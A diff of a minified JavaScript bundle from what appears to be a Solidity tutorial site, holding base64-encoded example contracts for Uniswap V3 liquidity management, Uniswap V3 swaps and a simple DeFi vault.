                    +`,gb=({prev:s,next:a})=>i.jsx(u,{version:tb,title:ob,description:rb,html:hb,prev:s,next:a,codes:ib}),db="0.8.20",Ib="Uniswap V3 Liquidity Examples",Cb="Uniswap V3 liquidity examples",jb=[{fileName:"UniswapV3Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgppbnRlcmZhY2UgSUVSQzcyMVJlY2VpdmVyIHsKICAgIGZ1bmN0aW9uIG9uRVJDNzIxUmVjZWl2ZWQoCiAgICAgICAgYWRkcmVzcyBvcGVyYXRvciwKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgdWludCB0b2tlbklkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYnl0ZXM0KTsKfQoKY29udHJhY3QgVW5pc3dhcFYzTGlxdWlkaXR5IGlzI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wgYWRkcmVzcyh0aGlzKSwgYW1vdW50MFRvQWRkKTsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQxVG9BZGQpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyKSwgYW1vdW50MFRvQWRkKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIGFtb3VudDFUb0FkZCk7CgogICAgICAgIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5NaW50UGFyYW1zCiAgICAgICAgICAgIG1lbW9yeSBwYXJhbXMgPSBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuTWludFBhcmFtcyh7CiAgICAgICAgICAgICAgICB0b2tlbjA6IERBSSwKICAgICAgICAgICAgICAgIHRva2VuMTogV0VUSCwKICAgICAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgICAgIHRpY2tMb3dlcjogKE1JTl9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgICAgIHRpY2tVcHBlcjogKE1BWF9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgICAgIGFtb3VudDBEZXNpcmVkOiBhbW91bnQwVG9BZGQsCiAgICAgICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICAgICAgYW1vdW50ME1pbjogMCwKICAgICAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wCiAgICAgICAgICAgIH0pOwoKICAgICAgICAodG9rZW5JZCwgbGlxdWlkaXR5LCBhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLm1pbnQoCiAgICAgICAgICAgIHBhcmFtcwogICAgICAgICk7CgogICAgICAgIGlmIChhbW91bnQwIDwgYW1vdW50MFRvQWRkKSB7CiAgICAgICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mobm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIpLCAwKTsKICAgICAgICAgICAgdWludCByZWZ1bmQwID0gYW1vdW50MFRvQWRkIC0gYW1vdW50MDsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDApOwogICAgICAgIH0KICAgICAgICBpZiAoYW1vdW50MSA8IGFtb3VudDFUb0FkZCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIDApOwogICAgICAgICAgICB1aW50IHJlZnVuZDEgPSBhbW91bnQxVG9BZGQgLSBhbW91bnQxOwogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDEpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjb2xsZWN0QWxsRmVlcygKICAgICAgICB1aW50IHRva2VuSWQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnQwLCB1aW50IGFtb3VudDEpIHsKICAgICAgICBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuQ29sbGVjdFBhcmFtcwogICAgICAgICAgICBtZW1vcnkgcGFyYW1zID0gSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkNvbGxlY3RQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JZDogdG9rZW5JZCwKICAgICAgICAgICAgICAgIHJlY2lwaWVudDogYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgICAgIGFtb3VudDBN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BEZXNpcmVkOiBhbW91bnQwVG9BZGQsCiAgICAgICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICAgICAgYW1vdW50ME1pbjogMCwKICAgICAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wCiAgICAgICAgICAgIH0pOwoKICAgICAgICAobGlxdWlkaXR5LCBhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLmluY3JlYXNlTGlxdWlkaXR5KAogICAgICAgICAgICBwYXJhbXMKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgIHVpbnQgdG9rZW5JZCwKICAgICAgICB1aW50MTI4IGxpcXVpZGl0eQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSkgewogICAgICAgIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5EZWNyZWFzZUxpcXVpZGl0eVBhcmFtcwogICAgICAgICAgICBtZW1vcnkgcGFyYW1zID0gSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkRlY3JlYXNlTGlxdWlkaXR5UGFyYW1zKHsKICAgICAgICAgICAgICAgIHRva2VuSWQ6IHRva2VuSWQsCiAgICAgICAgICAgICAgICBsaXF1aWRpdHk6IGxpcXVpZGl0eSwKICAgICAgICAgICAgICAgIGFtb3VudDBNaW46IDAsCiAgICAgICAgICAgICAgICBhbW91bnQxTWluOiAwLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcAogICAgICAgICAgICB9KTsKCiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0gbm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuZGVjcmVhc2VMaXF1aWRpdHkocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciB7CiAgICBzdHJ1Y3QgTWludFBhcmFtcyB7CiAgICAgICAgYWRkcmVzcyB0b2tlbjA7CiAgICAgICAgYWRkcmVzcyB0b2tlbjE7CiAgICAgICAgdWludDI0IGZlZTsKICAgICAgICBpbnQyNCB0aWNrTG93ZXI7CiAgICAgICAgaW50MjQgdGlja1VwcGVyOwogICAgICAgIHVpbnQgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludCBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50IGFtb3VudDBNaW47CiAgICAgICAgdWludCBhbW91bnQxTWluOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludCgKICAgICAgICBNaW50UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQgdG9rZW5JZCwgdWludDEyOCBsaXF1aWRpdHksIHVpbnQgYW1vdW50MCwgdWludCBhbW91bnQxKTsKCiAgICBzdHJ1Y3QgSW5jcmVhc2VMaXF1aWRpdHlQYXJhbXMgewogICAgICAgIHVpbnQgdG9rZW5JZDsKICAgICAgICB1aW50IGFtb3VudDBEZXNpcmVkOwogICAgICAgIHVpbnQgYW1vdW50MURlc2lyZWQ7CiAgICAgICAgdWludCBhbW91bnQwTWluOwogICAgICAgIHVpbnQgYW1vdW50MU1pbjsKICAgICAgICB1aW50IGRlYWRsaW5lOwogICAgfQoKICAgIGZ1bmN0aW9uIGluY3JlYXNlTGlxdWlkaXR5KAogICAgICAgIEluY3JlYXNlTGlxdWlkaXR5UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKHV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lEZWx0YTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlLmxvZygidG9rZW4gaWQiLCB0b2tlbklkKTsKICAgICAgICBjb25zb2xlLmxvZygibGlxdWlkaXR5IiwgbGlxdWlkaXR5KTsKICAgICAgICBjb25zb2xlLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gQ29sbGVjdCBmZWVzCiAgICAgICAgKHVpbnQgZmVlMCwgdWludCBmZWUxKSA9IHVuaS5jb2xsZWN0QWxsRmVlcyh0b2tlbklkKTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBDb2xsZWN0IGZlZXMgLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZS5sb2coImZlZSAxIiwgZmVlMSk7CgogICAgICAgIC8vIEluY3JlYXNlIGxpcXVpZGl0eQogICAgICAgIHVpbnQgZGFpQW1vdW50VG9BZGQgPSA1ICogMWUxODsKICAgICAgICB1aW50IHdldGhBbW91bnRUb0FkZCA9IDAuNSAqIDFlMTg7CgogICAgICAgIChsaXF1aWRpdHlEZWx0YSwgYW1vdW50MCwgYW1vdW50MSkgPSB1bmkuaW5jcmVhc2VMaXF1aWRpdHlDdXJyZW50UmFuZ2UoCiAgICAgICAgICAgIHRva2VuSWQsCiAgICAgICAgICAgIGRhaUFtb3VudFRvQWRkLAogICAgICAgICAgICB3ZXRoQW1vdW50VG9BZGQKICAgICAgICApOwogICAgICAgIGxpcXVpZGl0eSArPSBsaXF1aWRpdHlEZWx0YTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBJbmNyZWFzZSBsaXF1aWRpdHkgLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZS5sb2coImFtb3VudCAwIiwgYW1vdW50MCk7CiAgICAgICAgY29uc29sZS5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIERlY3JlYXNlIGxpcXVpZGl0eQogICAgICAgIChhbW91bnQwLCBhbW91bnQxKSA9IHVuaS5kZWNyZWFzZUxpcXVpZGl0eUN1cnJlbnRSYW5nZSh0b2tlbklkLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUubG9nKCJhbW91bnQgMSIsIGFtb3VudDEpOwogICAgfQp9Cg=="}],ub=`

                    Examples of minting new position, collect fees, increase and decrease liquidity.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -6297,7 +6297,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Liqu
                     

                    Uniswap V3

                    Foundry

                    Uniswap V3 Foundry example

                    -`,Cb=({prev:s,next:a})=>i.jsx(u,{version:ib,title:hb,description:gb,html:Ib,prev:s,next:a,codes:db}),jb="0.8.20",ub="Uniswap V3 Swap Examples",yb="Uniswap V3 swap examples",mb=[{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPQogICAgICAgIElTd2FwUm91dGVyKDB4RTU5MjQyN0EwQUVjZTkyRGUzRWRlZTFGMThFMDE1N0MwNTg2MTU2NCk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IHBvb2xGZWUsCiAgICAgICAgdWludCBhbW91bnRJbgogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgICAgICB0b2tlbkluOiB0b2tlbkluLAogICAgICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAsCiAgICAgICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NjogMAogICAgICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIHVpbnQgYW1vdW50SW4KICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFBhcmFtcyh7CiAgICAgICAgICAgIHBhdGg6IHBhdGgsCiAgICAgICAgICAgIHJlY2lwaWVudDogbXNnLnNlbmRlciwKICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgYW1vdW50SW46IGFtb3VudEluLAogICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwCiAgICAgICAgfSk7CiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXQocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICAgICAgdWludCBhbW91bnRJbjsKICAgICAgICB1aW50IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciB0b2tlbgogICAgLy8v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G9wKFdFVEgsIERBSSwgMzAwMCwgMWUxOCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgIFdFVEgsCiAgICAgICAgICAgIHVpbnQyNCgzMDAwKSwKICAgICAgICAgICAgVVNEQywKICAgICAgICAgICAgdWludDI0KDEwMCksCiAgICAgICAgICAgIERBSQogICAgICAgICk7CgogICAgICAgIHVpbnQgYW1vdW50T3V0ID0gdW5pLnN3YXBFeGFjdElucHV0TXVsdGlIb3AocGF0aCwgV0VUSCwgMWUxOCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Ab=`

                    Uniswap V3 Swap Examples

                    +`,yb=({prev:s,next:a})=>i.jsx(u,{version:db,title:Ib,description:Cb,html:ub,prev:s,next:a,codes:jb}),mb="0.8.20",Ab="Uniswap V3 Swap Examples",bb="Uniswap V3 swap examples",wb=[{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPQogICAgICAgIElTd2FwUm91dGVyKDB4RTU5MjQyN0EwQUVjZTkyRGUzRWRlZTFGMThFMDE1N0MwNTg2MTU2NCk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IHBvb2xGZWUsCiAgICAgICAgdWludCBhbW91bnRJbgogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgICAgICB0b2tlbkluOiB0b2tlbkluLAogICAgICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAsCiAgICAgICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NjogMAogICAgICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIHVpbnQgYW1vdW50SW4KICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFBhcmFtcyh7CiAgICAgICAgICAgIHBhdGg6IHBhdGgsCiAgICAgICAgICAgIHJlY2lwaWVudDogbXNnLnNlbmRlciwKICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgYW1vdW50SW46IGFtb3VudEluLAogICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwCiAgICAgICAgfSk7CiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXQocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICAgICAgdWludCBhbW91bnRJbjsKICAgICAgICB1aW50IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhl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FjdElucHV0U2luZ2xlSG9wKFdFVEgsIERBSSwgMzAwMCwgMWUxOCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgIFdFVEgsCiAgICAgICAgICAgIHVpbnQyNCgzMDAwKSwKICAgICAgICAgICAgVVNEQywKICAgICAgICAgICAgdWludDI0KDEwMCksCiAgICAgICAgICAgIERBSQogICAgICAgICk7CgogICAgICAgIHVpbnQgYW1vdW50T3V0ID0gdW5pLnN3YXBFeGFjdElucHV0TXVsdGlIb3AocGF0aCwgV0VUSCwgMWUxOCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],kb=`

                    Uniswap V3 Swap Examples

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -6469,7 +6469,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Swap
                     

                    Uniswap V3

                    Foundry

                    Uniswap V3 Foundry example

                    -`,bb=({prev:s,next:a})=>i.jsx(u,{version:jb,title:ub,description:yb,html:Ab,prev:s,next:a,codes:mb}),wb="0.8.20",kb="Vault",Zb="Vault",Wb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLC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W5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg=="}],Bb=`

                    Simple example of vault contract, commonly used in DeFi protocols.

                    +`,Zb=({prev:s,next:a})=>i.jsx(u,{version:mb,title:Ab,description:bb,html:kb,prev:s,next:a,codes:wb}),Wb="0.8.20",Bb="Vault",Gb="Vault",fb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU